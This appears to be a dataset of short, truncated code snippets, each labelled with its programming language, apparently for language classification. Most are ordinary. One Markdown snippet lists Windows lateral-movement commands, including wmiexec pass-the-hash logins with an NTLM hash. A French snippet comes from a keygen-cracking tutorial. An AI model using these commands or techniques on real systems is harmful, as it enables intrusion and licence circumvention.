content
stringlengths
2
6.21k
label
stringclasses
16 values
import torch from torch import nn from torch.nn import functional as F class ResGangneuron_A(nn.Module): def __init__(self): super(ResGangneuron_A, self).__init__() # xw+b self.fc0 = nn.Linear(3*32*32, 256, bias=False) self.dd = nn.Linear(256, 256, bias=False) self.dd2 = ...
Python
ages // else return messages.filter(function(message){ return message.name.toLowerCase().includes(term.toLowerCase()) }) } } declare const require: any; declare const Atomics: any; declare const SharedArrayBuffer: any; declare const Promise: any; declare const resolve: any; const moment: any = req...
Typescript
gative_indices, 100) train_x_batch = train_x[negative_batch] train_y_batch = train_y[negative_batch] x_val, y_val = val_set.next_batch(min(bsize, nval)) lr = config.lr loss, acc, _ = sess.run( [loss_c, acc_, train_op], ...
Python
&nbsp;&nbsp;<b>HP</b>8 &nbsp;&nbsp;<b>MP</b>13 &nbsp;&nbsp;<b>SAN</b>65</p> <p><b>幸运:</b>61 <br><b>体格:</b>0 <br><b>DB:</b>无 <br><b>年龄:</b>32 <br><b>住地:</b>克洛诺斯号 <br><b>出生地:</b>英国,伦敦</p> <p><b>每轮攻击次数:</b>1 <br>格斗(刀) 37%(18/7),1D4+2+DB 伤害 <br>射击(手枪) 46%(23/9),1D6+1 伤害 <br>射击(滑膛枪) 25%(12/5)1D10+4 伤害 <br>闪避 30%(15/6) <br>...
HTML
3]) : null }, remove: function remove(name) { this.write(name, "", Date.now() - 864e5) } } }() ) : ( // Non standard browser env (web workers, react-native) lack needed support. function nonStandardBrowserEnv() { return { write: f...
JavaScript
# Without the `in`, this is considered to be a unary `not` x not 1 + 2
Python
MaterialPageRoute( builder: (context) => AppInfoPage( key: UniqueKey(), ))); }), ]; if (Platform.isAndroid) { _listTiles.add( ListTile( //第二个功能项 title: Text(OpenListWebUiLocalizations.of(con...
Dart
om/Redinn-Pages/components-pack/commit/7302010c112c49f3033ab845f1d4c9ecd3f015e4)) * **multi-viewer:** :bug: the component no longer fails when triggered multiple times ([aec8dc7](https://github.com/Redinn-Pages/components-pack/commit/aec8dc726a822b781aff4d761005ddc6a61cac17)) * :bug: finish the multiviewer ([0a9cbf9](h...
Markdown
O4EJaNsINaAipsjawIIIJAmESDeBMQLgNgbiEFlQihUDhT8C6HyIjBNAAHEAAy9ViDeBcRMQLwGiM8DcR8QnwPitVDxbVB1IPUMAAEEIq4AsQ0Q+0IVskIlWaF8kLglVB1YE0AAwbL7aWhW3w/EsBz6G1q4gAqcs1B1YAAQQCBNoCQiCMRXgdgOiFmgcixQ/hUgFoKqAwOAAGKC2hIOLboeAfFJUDEMpR9DxcOh6sAAIIBAbgwH4rdArAL1tD8QV0BpJqj4W6g6sJ8AAghEgNLfZiC+DcSiMAkoFoWKb4aqA4sDBBATtDCJAOI30AzHB...
CSS
} else { i }; val |= 1 << index; } } val } #[inline] pub fn set(&mut self, bit_offset: usize, bit_width: u8, val: u64) { debug_assert!(bit_width <= 64); debug_assert!(bit_offset / 8 < self.storag...
Rust
('class:theme-fg-dim', 'class:theme-fg-dim'), space, ('class:theme-bg-dim', 'class:theme-bg-dim'), space, ('class:theme-bg-dialog', 'class:theme-bg-dialog'), space, ( 'class:theme-bg-line-highlight', ...
Python
mateDiffLoraLoader, "ADE_AnimateDiffModelSettings_Release": AnimateDiffModelSettings, # Noise Layer Nodes "ADE_NoiseLayerAdd": NoiseLayerAddNode, "ADE_NoiseLayerAddWeighted": NoiseLayerAddWeightedNode, "ADE_NoiseLayerReplace": NoiseLayerReplaceNode, # Iteration Opts "ADE_IterationOptsDefault...
Python
L4_2 = A1_2 L2_2(L3_2, L4_2) end L68_1 = "C27562AF13C668CBA" L69_1 = _ENV["C27562AF13C668CBA"] L25_1[L68_1] = L69_1 L68_1 = _ENV["C27562AF13C668CBA"] L69_1 = "__name__" L70_1 = "C27562AF13C668CBA" L68_1[L69_1] = L70_1 L68_1 = _ENV["C27562AF13C668CBA"] L69_1 = "prototype" L70_1 = _hx_e L70_1 = L70_1() L68_1[L69_1]...
Lua
ey", keys_x.m_account_address.m_spend_public_key.data, 32); hw::ledger::log_message("get_subaddress: [[IN]] index ", std::to_string(index_x.major) + "." + std::to_string(index_x.minor)); address_x = this->controle_device->get_subaddress(keys_x, index_x); hw::ledger::log_hexbuffer("get...
C++
object"] = "prop_toaster_01", ["price"] = 500, ["label"] = "Toaster" }, [46] = { ["object"] = "prop_cs_plate_01", ["price"] = 500, ["label"] = "Plate" }, [47] = { ["object"] = "prop_foodprocess_01", ["price"] = 500, ["label"] = "Food Process" }, [48] = { ["object"] = "prop_food_sugarjar", ["price"] = 500, ["la...
Lua
| | 股票分析 | 帮我分析一下最近苹果公司股票的走势,并预测一下未来一周的趋势。 | | 编程求助 | 我在编写Python程序时...
Markdown
事的充分准备,然后选择适当时机采取军事清剿与政治争取相结合的办法,予以歼灭。对各地零星出没的少数散匪及小股土匪,应由当地人民公安机关及其所在地区的人民公安部队负责,采取侦察搜捕的办法,彻底消灭之。 </p> <p> 七、追捕外逃反革命分子归案法办,是彻底镇反的一项重要工作。进行此项工作时必须首先切实查对材料,具体分析,分别主次,以尽量少捕为原则。凡是民愤不大、罪恶不大、已就地安家就业洗手不干的分子,一律不予追究;某些罪恶较大需适当判罪者,一般可将材料交当地人民公安机关就地处理,并将处理结果在其有民愤地区公布;那些罪恶甚大,非捕回处理不足以平民愤而又有条件捕回者,则仍应坚决捕回法办。各地应本以上原则切实审定追捕外逃反革命...
HTML
int y) { Zombie* aRecord = nullptr; if (mMouseVisible && !Rect(mBoard->mSeedBank->mX - mX, mBoard->mSeedBank->mY - mY, mBoard->mSeedBank->mWidth, mBoard->mSeedBank->mHeight).Contains(x, y)) { Zombie* aZombie = nullptr; while (mBoard->IterateZombies(aZombie)) { if (aZombie->mDead || aZombie->IsDeadOrDying()...
C++
format(str(error))) # If garbage collection is on, deallocate everything possible. if gc_thread: print(f"{formatting.timestamp()}: Terminating garbage collection. " f"Waiting for max {settings.garbage_collector_cleanup_time} seconds. ") gc_thread.finish(settings.garbage_col...
Python
&v1alpha1.MachineConfig{ MachineNetwork: &v1alpha1.NetworkConfig{}, }, ClusterConfig: &v1alpha1.ClusterConfig{ ControlPlane: &v1alpha1.ControlPlaneConfig{ Endpoint: &v1alpha1.Endpoint{ URL: u, }, }, }, }, ), ) suite.Require().NoError(suite.state.Create(suite.ctx, c...
Go
ibility:visible;transition:opacity .3s 0 ease-in-out,visibility 0s 0s linear}.tab-container .tab>.remove:after{font-size:20px;content:"\e6A1";margin-left:10px;font-family:Entypo}.tab-container .tab>.remove *,.tab-container.one-tab .tab-nav{display:none}.tab-nav button,.tab-nav button:active{top:50%;left:10px;opacity:0;...
CSS
#ifndef WINDOWSGL_NOLOAD_STYLE_H #define WINDOWSGL_NOLOAD_STYLE_H #ifdef __wglext_h_ #error Attempt to include auto-generated WGL header after wglext.h #endif #define __wglext_h_ #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN 1 #endif #ifndef NOMINMAX #define NOMINMAX #endif #include <windows.h> #ifdef C...
C
6, 0x31, 0x33}}, {AXORW, yxorl, Pe, [23]uint8{0x83, 06, 0x35, 0x81, 06, 0x31, 0x33}}, {AFMOVB, yfmvx, Px, [23]uint8{0xdf, 04}}, {AFMOVBP, yfmvp, Px, [23]uint8{0xdf, 06}}, {AFMOVD, yfmvd, Px, [23]uint8{0xdd, 00, 0xdd, 02, 0xd9, 00, 0xdd, 02}}, {AFMOVDP, yfmvdp, Px, [23]uint8{0xdd, 03, 0xdd, 03}}, {AFMOVF, yfmvf, P...
Go
0x00, 0x7F,0xFF,0xFF,0x7F, 0x00,0x00,0x00,0x00, 0x7F,0xFF,0xFF,0xFF, 0x7F,0x00,0x00,0x00, 0x7F,0xFF,0xFF,0xFF, 0xFF,0x7F,0x00,0x00, 0x7F,0xFF,0xFF,0xFF, 0xFF,0xFF,0x7F,0x00, 0x7F,0xFF,0xFF,0xFF, 0xFF,0x7F,0x7F,0x7F, 0x7F,0xFF,0xFF,0xFF, 0x7F,0x00,0x00,0x00, 0x7F,0xFF,0x7F,0xFF, 0x7F,0x00,0x...
Rust
-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.3752 Safari/537.36" } }) const headers = response.headers['content-type'] return { headers: headers, data: response.data } } function addProtocol(url) { if (!...
JavaScript
we reach a certain point // Use positive root. Negative root is extrapolating backwards in time let tmp = (2.0 * vy as f64 + 1.0) / 2.0; let first_t = (tmp + (tmp.powf(2.0) - 2.0 * end_y as f64).sqrt()).ceil() as usize; let last_t = (tmp + (tmp.powf(2.0) - 2.0 * start_y as f64).sqrt())....
Rust
_screen_quit::ChangeScreenQuitOp {})); result.push(Box::new(change_screen_return::ChangeScreenReturnOp {})); result.push(Box::new(change_screen_trade::ChangeScreenTradeOp {})); result.push(Box::new( change_screen_trade_prisoners::ChangeScreenTradePrisonersOp {}, )); result.push(Box::new(chan...
Rust
": "+JSON.stringify(c))}),n.info("#############################################"),n.info("### Layout ###"),n.info("#############################################"),n.info(t),L(t),n.info("Graph after layout:",b(t));let g=0;return it(t).forEach(function(c){let o=t.node(c);n.info("Position "+...
JavaScript
smile:active,a.cke_specialchar:focus,a.cke_specialchar:active{border-color:#139ff7}.cke_dialog_contents a.colorChooser{display:block;margin-top:6px;margin-left:10px;width:80px}.cke_rtl .cke_dialog_contents a.colorChooser{margin-right:10px}.cke_dialog_ui_checkbox_input:focus,.cke_dialog_ui_radio_input:focus,.cke_btn_ove...
CSS
is&eacute; dans d'autres programmes du m&ecirc;me d&eacute;veloppeur et dans ce cas si on arrive &agrave; faire un keygen pour FTP Rapide, il suffira de changer la chaine "magique" (RAPIDFTP) par TRUCFTP si on faire un keygen pour TrucFTP !! On verra ca quand j'aurais fini le tut :-)...
HTML
resourceNamespaces(sourceNs *config.RegexConstraints, resourceNs *config.RegexConstraints) *config.RegexConstraints { if resourceNs != nil && resourceNs.AreConstraintsDefined() { return resourceNs } return sourceNs } func resourceStringMap(sourceMap *map[string]string, resourceMap map[string]string) *map[string]...
Go
oss() do local gotoCheckBattle = self.hasBoos_ and revive.IsBossCanRevive <= 0 local unitName = "reviveBtn" .. key local unitToken = self.cancelSource:CreateToken() self.allReviveItemTokenDict_[unitName] = unitToken local item = self:AsyncLoadUiUnit(path, unitName, self.uiB...
Lua
/* * Generated by asn1c-0.9.29 (http://lionet.info/asn1c) * From ASN.1 module "NGAP-IEs" * found in "../support/ngap-r17.3.0/38413-h30.asn" * `asn1c -pdu=all -fcompound-names -findirect-choice -fno-include-deps -no-gen-BER -no-gen-XER -no-gen-OER -no-gen-UPER -no-gen-JER` */ #include "NGAP_GlobalGNB-ID.h" #inc...
C
MaxMsgSize - 1 } // Trim the answer RRs one by one till the whole message fits within the reply size if m.Len() > bufsize { if tcp { m.Truncated = true } for m.Len() > bufsize { m.Answer = m.Answer[:len(m.Answer)-1] } } if err := w.WriteMsg(m); err != nil { log.Errorf("Error writing response, %s...
Go
c($s2) /* 0453C8 8009D178 1000039E */ b .L8009DFF4_ovl1 /* 0453CC 8009D17C BA4A004F */ swr $t2, 0x4f($s2) /* 0453D0 8009D180 822B0000 */ lb $t3, ($s1) /* 0453D4 8009D184 26310001 */ addiu $s1, $s1, 1 /* 0453D8 8009D188 000B6040 */ sll $t4, $t3, 1 /* 0453DC 8009D18C 448C4000 */ mtc1 $t4, $f8 /* 0453E0...
Assembly
"""Add dimensions to vehicle0.py figure.""" from pysketcher import * R = 1 # radius of wheel L = 4 # distance between wheels H = 2 # height of vehicle body w_1 = 5 # position of front wheel xmax = w_1 + 2*L + 3*R drawing_tool.set_coordinate_system(xmin=0, xmax=xmax, ymin=-...
Python
orph-animations-moving-to-github-and-ci) ![](./Docs/frontpage/OpenVR.jpg) # Dependencies * [CMake 3.x](https://cmake.org/download/) * Git * For HW & SW requirements, please visit http://www.ogre3d.org/developers/requirements * Our source dependencies are grouped in [ogre-next-deps](https://github.com/OGRECave/ogre-n...
Markdown
x8c,0x80,0x23,0x01,0x00,0x00] cmpbxadd %r10, %r9, 291(%r8,%rax,4) // CHECK: cmpbxadd %r10, %r9, (%rip) // CHECK: encoding: [0xc4,0x62,0xa9,0xe2,0x0d,0x00,0x00,0x00,0x00] cmpbxadd %r10, %r9, (%rip) // CHECK: cmpbxadd %r10, %r9, -256(,%rbp,2) // CHECK: encoding: [0xc4,0x62,0xa9,0xe2,0x0c,0x6d,0x...
Assembly
import org.kryptonmc.api.effect.sound.SoundEvents import org.kryptonmc.api.registry.RegistryReference import org.kryptonmc.krypton.registry.KryptonRegistries object Instruments { @JvmField val PONDER_GOAT_HORN: Instrument = register("ponder_goat_horn", SoundEvents.GOAT_HORN_0) @JvmField val SING_GOAT_...
Kotlin
EvgPm0fWAGci-Z8e5CZ6hoYz9n8gcoK4dgE0RML-x0pWqRNjGqte-V7phtqB/pubhtml) 🟪 - A huge list of professional game developers you can contact for advice! Be courteous - these are real people! Curated by Joe Hobbs - @JLHGameArt on Twitter. [MIT Open Courseware](https://ocw.mit.edu/) 💠🟪 - classes and materials from MIT (fre...
Markdown
print ("\33[1;35;40mQual é o maior número?\n\33[m") numeros=[] for i in range(5): numeros.append(float(input(f"\33[1;37;40mInforme o {i+1}° número: \33[m"))) print("\33[1;35;40mO maior número é: \33[m", max(numeros)) #Isso aqui abaixo funciona tmb! # if (numeros[0] > numeros[1] and numeros[0] > numeros[2] and n...
Python
d return pnl end --Thanks to Megiddo for this code! :D function xlib.wordWrap( text, width, font ) surface.SetFont( font ) if not surface.GetTextSize( "" ) then surface.SetFont( "default" ) --Set font to default if specified font does not return a size properly. end text = text:Trim() local output = "" local ...
Lua
_ARG(Function) function, const boost::coroutines::attributes& attributes = boost::coroutines::attributes()); /// Start a new stackful coroutine, inheriting the execution context of another. /** * This function is used to launch a new coroutine. * * @param ctx Identifies the current coroutine as a parent o...
C++
le="color:DarkGray"><a href="http://hl7.org/fhir/R4/datatypes.html#CodeableConcept">CodeableConcept</a></span></td></tr><tr><td style="white-space: nowrap"><a href="http://hl7.org/fhir/R4/conformance-rules.html#ismodifier">Is Modifier</a></td><td><span style="color:DarkGray">false</span></td></tr><tr><td style="white-s...
HTML
local Lin = require("Lib.Linalg") local function stencilFn(dx, D, N, val) local _M = {} _M[1] = Lin.Mat(8,8) _M[1][1][1] = (324.0*N+24.0*D)/(144.0*dx[2]^2*N+32.0*dx[2]^2*D) _M[1][1][2] = 0.0 _M[1][1][3] = (155.8845726811989*N+6.928203230275509*D)/(72.0*dx[2]^2*N+16.0*dx[2]^2*D) _M[1][1][4] = 0.0 _M[1][1]...
Lua
(l,u,L--,D):1===I?v(c,f,C--,D):2===I&&v(h,p,P--,D)}},scanBipartite:function(t,e,r,n,i,s,c,f,h,p,y,m){var x=0,b=2*t,_=e,w=e+t,T=1,k=1;n?k=o:T=o;for(var A=i;A<s;++A){var M=A+T,S=b*A;d[x++]=c[S+_],d[x++]=-M,d[x++]=c[S+w],d[x++]=M}for(A=h;A<p;++A){M=A+k;var E=b*A;d[x++]=y[E+_],d[x++]=-M}var L=x>>>1;a(d,L);var C=0;for(A=0;A...
JavaScript
4) if slot2 then slot5, slot6, slot7, slot8 = tf(slot1):Find("mouseChild") if slot5 then SetActive(slot5, true) else slot5 = GameObject("mouseChild") tf(slot5):SetParent(tf(slot1)) tf(slot5).localPosition = Vector3.zero slot6 = GetOrAddComponent(slot5, "ModelDrag") slot7 = GetOrAddComponent(...
Lua
-1 add a3, a1, a2 add a1, zero, a2 add a2, zero, a3 jal x1, loop exit: # Exit program .insn i 0x0b, 0, x0, x0, 0
Assembly
WARD treasureBowl. */ public treasureBowl: gameProto.ITreasureBowl; /** * Encodes the specified S2C_ACTIVITY_TREASEURE_BOWL_REWARD message. Does not implicitly {@link gameProto.S2C_ACTIVITY_TREASEURE_BOWL_REWARD.verify|verify} messages. * @param message S2C_ACTIVITY_TREASEURE_BOWL_REW...
Typescript
_f16_e64 v255, v1 // CHECK: [0xff,0x00,0x81,0xd1,0x01,0x01,0x00,0x00] v_exp_f16_e64 v5, v255 // CHECK: [0x05,0x00,0x81,0xd1,0xff,0x01,0x00,0x00] v_exp_f16_e64 v5, s1 // CHECK: [0x05,0x00,0x81,0xd1,0x01,0x00,0x00,0x00] v_exp_f16_e64 v5, s101 // CHECK: [0x05,0x00,0x81,0xd1,0x65,0x00,0x00,0x00] v_exp_f16_e64 v5, flat_...
Assembly
EQUIP then print(netchan:GetAddress():ToString(), "CWeaponSWEP::Equip", entity, entity:GetClass()) end end end FilterOutgoingMessage(svc_EntityMessage, function(netchan, read, write) local entindex = read:ReadUInt(11) local classID = read:ReadUInt(9) local bits = read:ReadUInt(11) local data = read:ReadBits(...
Lua
MultiArrayLayout # The multiarray declares a generic multi-dimensional array of a # particular data type. Dimensions are ordered from outer most # to inner most. MultiArrayDimension[] dim # Array of dimension properties uint32 data_offset # padding elements at front of data # A...
JavaScript
g.card, R.drawable.np_card, 6, AlbumCoverStyle.Full), Circle(R.string.circle, R.drawable.np_minimalistic_circle, 15, null), Classic(R.string.classic, R.drawable.np_classic, 16, AlbumCoverStyle.Full), Color(R.string.color, R.drawable.np_color, 5, AlbumCoverStyle.Normal), Fit(R.string.fit, R.drawable.np_f...
Kotlin
который может быть использован для прямой обработки звука с помощью JavaScript. - {{domxref("AudioContext.createAnalyser()")}} - : Создаёт объект {{domxref("AnalyserNode")}}, который может быть использован для получения времени воспроизведения и частоты воспроизводимого звука, что, в свою очередь может быть использо...
Markdown
np.zeros((d,d),dtype=np.complex)) W_delta[i,j]=delta W_hat[k]=W[k]+W_delta check_gradient_W[k][i,j]=( obj_func.objective_func_UW(Nr,Nt,d,Pt,sigma,User,H,W_hat,U) - obj_func.objective_func_UW(Nr,Nt,d,Pt,sigma,User,H,W,U) )/(2*delta) ...
Python
480 wmic job call create "explorer.exe",0,0,1,0,********154600.000000+480 ``` wmiexec.exe(admin$) =================== ``` wmiexec.exe administrator:root@192.168.10.20 wmiexec.exe administrator@192.168.10.20 -hashes d480ea9533c500d4aad3b435b51404ee:329153f560eb329c0e1deea55e88a1e9 ``` ![](https://mmbiz.qpic.cn/mmbiz_...
Markdown
"go.opentelemetry.io/otel/sdk/resource" sdktrace "go.opentelemetry.io/otel/sdk/trace" "go.opentelemetry.io/otel/trace" ) func main() { ctx := context.Background() dsn := os.Getenv("UPTRACE_DSN") if dsn == "" { panic("UPTRACE_DSN environment variable is required") } fmt.Println("using DSN:", dsn) resource, ...
Go
this.$emit('wxcSearchbarCancelClicked', { value: this.value }); }, detectShowClose: function detectShowClose() { this.showClose = this.value.length > 0 && this.showCancel; }, depClicked: function depClicked() { this.$emit('wxcSearchbarDepChooseClicked', {}); }, inputDisabledCli...
JavaScript
alse; } // is n1 connected to ground somehow? public boolean hasGroundConnection(int n1) { Vector<Integer> connectedNodes = new Vector<Integer>(); // keep list of nodes connected to n1 connectedNodes.add(n1); int i; for (i = 0; i < connectedNodes.size(); i++) { // next node in list int ...
Java
) as $offsets_name: ident ) => { #[derive(Debug, Copy, Clone, Eq, PartialEq, Hash, Ord, PartialOrd)] $struct_vis struct $offsets_name { $( $field_vis $field: usize ),* } $( #[$attribute] )* #[repr(C)] $struct_vis struct $name { $( $field_vis $field: $ftype ),* } impl $name { ///...
Rust
ttings.SEQ_FCIFUNCTION4_LEVEL0); xfcd.createSequenceLink(settings.SEQ_FCIFUNCTION5_LEVEL2, settings.CONTROL_NODE1_LEVEL0); xfcd.createSequenceLink(settings.CONTROL_NODE1_LEVEL2, settings.CONTROL_NODE1_LEVEL0); xfcd.createSequenceLink(settings.CONTROL_NODE1_LEVEL2, settings.SEQ_FCIFUNCTION4_LEVEL0); // ...
Java
} Disp8 vpunpckldq xmm30, xmm29, XMMWORD PTR [rdx+2048] # AVX512{F,VL} vpunpckldq xmm30, xmm29, XMMWORD PTR [rdx-2048] # AVX512{F,VL} Disp8 vpunpckldq xmm30, xmm29, XMMWORD PTR [rdx-2064] # AVX512{F,VL} vpunpckldq xmm30, xmm29, [rdx+508]{1to4} # AVX512{F,VL} Disp8 vpunpckldq xmm30, xmm29, [rdx+512]{1to4} # AV...
Assembly
order = parseInt(value); } else if (name === 'hidden') { const normValue = value.toLowerCase().trim(); if (!/^(true|false)$/.test(normValue)) throw new Error(`Bad hidden: ${value}`); hidden = normValue === 'true'; } else if (name ===...
Typescript
44 , U45 , U46> const& vec) { this->m0 = vec.m0; this->m1 = vec.m1; this->m2 = vec.m2; this->m3 = vec.m3; this->m4 = vec.m4; this->m5 = vec.m5; this->m6 = vec.m6; this->m7 = vec.m7; this->m8 = vec.m8; this->m9 = vec.m9; this->m10 = vec.m10; this->m11 = vec.m11; this->m12 = vec.m12; this->m13 = vec.m...
C++
本件及附件可登各地党刊。 </em> </h3> <h3> <em> 附: </em> </h3> <h3> 林枫同志关于1955年全国文教工作会议向中央的报告 </h3> <p> 全国文教工作会议,于5月19日开幕,至6月10日闭幕,除卫生小组机关开会至7月4日结束外,共开了20天会。出席这次会议的有国务院文教卫生部门、各省市人民委员会文教办公室和文化、教育、卫生厅局的负责人,中央各有关部门的代表和京、津各高等学校的院校长共计357人。 </p> <p> 这次会议主要讨论了4个问题:(一)当前文教工作的基本方针和政策;(二)修订文教事业五年计划草案;(...
HTML
'none' }) || this.i.css({ 'width': '0px', 'visibility': 'hidden' }); }; this.change = function (v) { this.cv = v; this.$.val(this.o.format(v)); }; this.angle...
JavaScript
้ข้อมูลนั้นในการสร้างโมเดลที่ครอบคลุมว่า การร้องขอ DNS "ที่ดี" ต้องเป็นอย่างไร — และการร้องขอ DNS ใดผิดปกติและอาจเป็น tunnel DNS ในการขโมยข้อมูลได้ ตัวอย่างเช่น เราใช้เครือข่ายเพื่อสร้างการคัดกรองอัจฉริยะและลดปัญหาที่ไม่ได้เกิดขึ้นจริง คุณสามารถดูการค้นคว้านี้ได้ด้วย <a href="https://radar.cloudflare.com">Cloudflare Ra...
HTML
p is always [0, 56] so we can restore rsp by realigning to 64. Essentially the tradeoff is 1 extra save/restore vs 2 extra instructions in the loop. Realigning also costs more code size. */ xorl %ebp, %ebp tzcntl %ebx, %ebp /* Scalar math function call to process special input. */ vmovss 64(%rsp, %rbp, 4...
Assembly
entire // function) // virtual void preparePolicy(IRGlobalValueWithCode* func) = 0; virtual HoistResult classify(UseOrPseudoUse diffBlockUse) = 0; protected: IRModule* module; Dictionary<IRInst*, LoopInductionValueInfo> inductionValueInsts; Dictionary<IRInst*, IRInst*> loopExitValueInsts;...
C
3E8 */ sb $t8, 0x63e8($at) /* B7DEA8 80106D08 A0396305 */ sb $t9, 0x6305($at) /* B7DEAC 80106D0C A02063E5 */ sb $zero, 0x63e5($at) /* B7DEB0 80106D10 250833E8 */ addiu $t0, %lo(D_801333E8) # addiu $t0, $t0, 0x33e8 /* B7DEB4 80106D14 3C058013 */ lui $a1, %hi(D_801333D4) # $a1, 0x8013 /* B7DEB8 80106D18 2...
Assembly
dress")'); if (res != null) { res['address'] = address; } store.account.setAccountRecoveryInfo(res); if (res != null && List.of(res['friends']).length > 0) { getAddressIcons(res['friends']); } return res; } Future<List> queryRecoverableList(List<String> addresses) async { L...
Dart
oGeneratePassword; } public void setAutoGeneratePassword(Boolean autoGeneratePassword) { this.autoGeneratePassword = autoGeneratePassword; } public Boolean getResetPasswordOnFirstLogin() { return resetPasswordOnFirstLogin; } public void setResetPasswordOnFirstLogin(Boolean reset...
Java
if (name.equalsIgnoreCase(v.name())) return v; } return elz; } } package pro.fessional.wings.faceless.codegen; import io.qameta.allure.TmsLink; import org.junit.jupiter.api.Test; import pro.fessional.wings.faceless.codegen.ConstantEnumGenerator.ConstantEnum; import java.util.ArrayList; im...
Java
--:-:-:-:1 @!P4 LDS.U.64 loadAA0, [addr_zero]; } : q{ --:-:2:-:2 S2R tid, SR_TID.X; <SCHEDULE_BLOCK> 02:-:-:-:1 LOP.AND tidAY, tid, 1; --:-:-:-:1 SHL tidAY, tidAY, 2; --:-:-:-:1 BFE.U32 tidBY, tid, 0x304; // 3 bits at position 4 // doLoad0 = tidBY < k --:-:-:-:1 IADD x1, txb, 1; --...
CSS
double, 4> a, SIMD<double, 4> b) { SIMD<double, 4> tmp; for (int i = 0; i < 2; ++i) tmp.m[i] = _mm_max_pd(a.m[i], b.m[i]); return tmp; } template <> inline SIMD<int8_t, 32> vmax(SIMD<int8_t, 32> a, SIMD<int8_t, 32> b) { SIMD<int8_t, 32> tmp; for (int i = 0; i < 2; ++i) tmp.m[i] = _mm_max_epi8(a.m[i], b.m[i]);...
C++
--@module = true local argparse = require('argparse') local dlg = require('gui.dialogs') local gui = require('gui') local overlay = require('plugins.overlay') local sitemap = reqscript('gui/sitemap') local utils = require('utils') local widgets = require('gui.widgets') local CH_UP = string.char(30) local CH_DN = stri...
Lua
Value(img_noise); Image img_bg= ImageProcess.RemoveBg((Bitmap)img_noise ,v);//-----------去背景,内存法 imgBged = Image2Num((Bitmap)img_bg); WriteToFile(imgBged, "experiment\\" + Path.GetFileNameWithoutExtension(imgurl) + "_bged.txt"); pb_bg.Image = img_bg; ...
C#
http://en.wikipedia.org/wiki/Universally_unique_identifier UUID]입니다. 자동으로 할당되는 값이며, 수정할 수 없습니다. </p> <h3>[property:Integer version]</h3> <p> 버전 넘버이며 needsUpdate 속성이 true일 때 증가합니다. </p> <h3>[property:Boolean needsUpdate]</h3> <p> 기본값은 *false*입니다. true로 설정하면 [page:InterleavedBuffer.version version]를 증가시...
HTML
map'] = {} st.session_state['model_selected'] = None st.session_state['plugin_actions'] = set() def clear_state(self): """Clear the existing session state.""" st.session_state['assistant'] = [] st.session_state['user'] = [] st.session_state['model_selected'] = None ...
Markdown
contain; mask-size: contain; } } #drupal-off-canvas-wrapper h2 { margin-top: 0; } /* * Some themes (Olivero) insert SVG icon. We use a background icon, so we * need to remove this. */ #drupal-off-canvas-wrapper .messages__icon, #drupal-off-canvas-wrapper .messages__close { display: none; } #drup...
CSS
java.util.Scanner; class Diff{ public static void main(String args[]){ Scanner sc=new Scanner(System.in); int num1=sc.nextInt(); int num2=sc.nextInt(); int diff; //using +operetor if(num1>num2) diff=num1-num2; else diff=num2-num1; //printing the sum System.out.println(diff); } }class Animal{ String color="white"; } c...
Java
>value: 4.000","row: Lotus Europa<br>column: qsec<br>value: 16.900","row: Lotus Europa<br>column: mpg<br>value: 30.400","row: Lotus Europa<br>column: hp<br>value: 113.000","row: Lotus Europa<br>column: disp<br>value: 95.100"],["row: Fiat X1-9<br>column: vs<br>value: 1.000","row: Fiat X1-9<br>column: am<br>value:...
HTML
bp),%r10 movq 8(%rbp),%r11 movq %r10,0+64(%rsp) movq %r11,8+64(%rsp) .align 4 .Lcbc_fast_dec_in_place_loop: movl 0(%r8),%eax movl 4(%r8),%ebx movl 8(%r8),%ecx movl 12(%r8),%edx movq 0(%rsp),%r15 movq %r8,24(%rsp) ...
Assembly
= "BGP" ) private String networkType; @SelectField( label = "计费方式", options = { TencentBandwidthChargeType.Ids.TOP5_POSTPAID_BY_MONTH, TencentBandwidthChargeType.Ids.PERCENT95_POSTPAID_BY_MONTH, TencentBandwidthChargeType.Id...
Java
version std::os::unix::fs::symlink(&to_install, current).unwrap(); } else { println!("Installing first version"); std::os::unix::fs::symlink(&to_install, current).unwrap(); } // Install all the links for the new...
Rust
te bindings!"); } use std::cmp::{Ord, Ordering}; use std::fmt::{self, Debug}; use syn::Ident; use crate::graph::{Node, Disambiguate}; #[cfg_attr(test, derive(PartialEq))] pub enum Leaf { Trivia, Token { ident: Ident, priority: usize, callback: Option<Ident>, }, } impl Leaf { ...
Rust
333 34.133334v68.266666z" fill="#040000" ></path></symbol><symbol id="icon-account1" viewBox="0 0 1024 1024"><path d="M512 512c123.776 0 224-100.224 224-224S635.776 64 512 64a223.936 223.936 0 0 0-224 224C288 411.776 388.224 512 512 512z m0 64c-149.504 0-448 85.76-448 256v128h896v-128c0-170.24-298.496-256-448-256z" fil...
JavaScript
com/renpenguin/display3d/tree/master/resources) of this repository. 3.11.0 / 2018-03-05 ------------------- - Fix dump in bin/octal/hex formats for negative integers, #399. - Add arrow functions suport for `!!js/function`. 3.10.0 / 2017-09-10 ------------------- - Fix `condenseFlow` output (quote keys for sure, inst...
Markdown
.1, "catch")); Expect.isFalse(Helper.EQ("the", 1.1)); // With null. Expect.isFalse(Helper.EQ(1, null)); Expect.isFalse(Helper.EQ(null, 1)); Expect.isFalse(Helper.EQ(1.1, null)); Expect.isFalse(Helper.EQ(null, 1.1)); Expect.isFalse(Helper.EQ(1.1, null)); Expect.isFalse(Helper.EQ(null, 1....
Dart
ublicfiles.com/fast_noisy_channel/de_en/de_bpe_code_24K) | | Target BPE Code | [en_bpe_code_24K](https://dl.fbaipublicfiles.com/fast_noisy_channel/de_en/en_bpe_code_24K) | Source Dictionary | [de_dict](https://dl.fbaipublicfiles.com/fast_noisy_channel/de_en/de_dict) | | Target Dictionary | [en_dict](https://dl.fbaipubl...
Markdown
Span { let beg = Math.floor(this.timestamp / MS_PER_HOUR) * MS_PER_HOUR; let end = Math.ceil(this.timestamp / MS_PER_HOUR) * MS_PER_HOUR; return new TimeSpan(beg, end); } /** * 获取当前时间点所在的日期区间。 */ public get thisDay(): TimeSpan { let beg = Math.floor(this.timestamp /...
Typescript
1, 12], [2, 21], ], ]); }); }); }); /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the "Elastic License * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side * Public L...
JavaScript
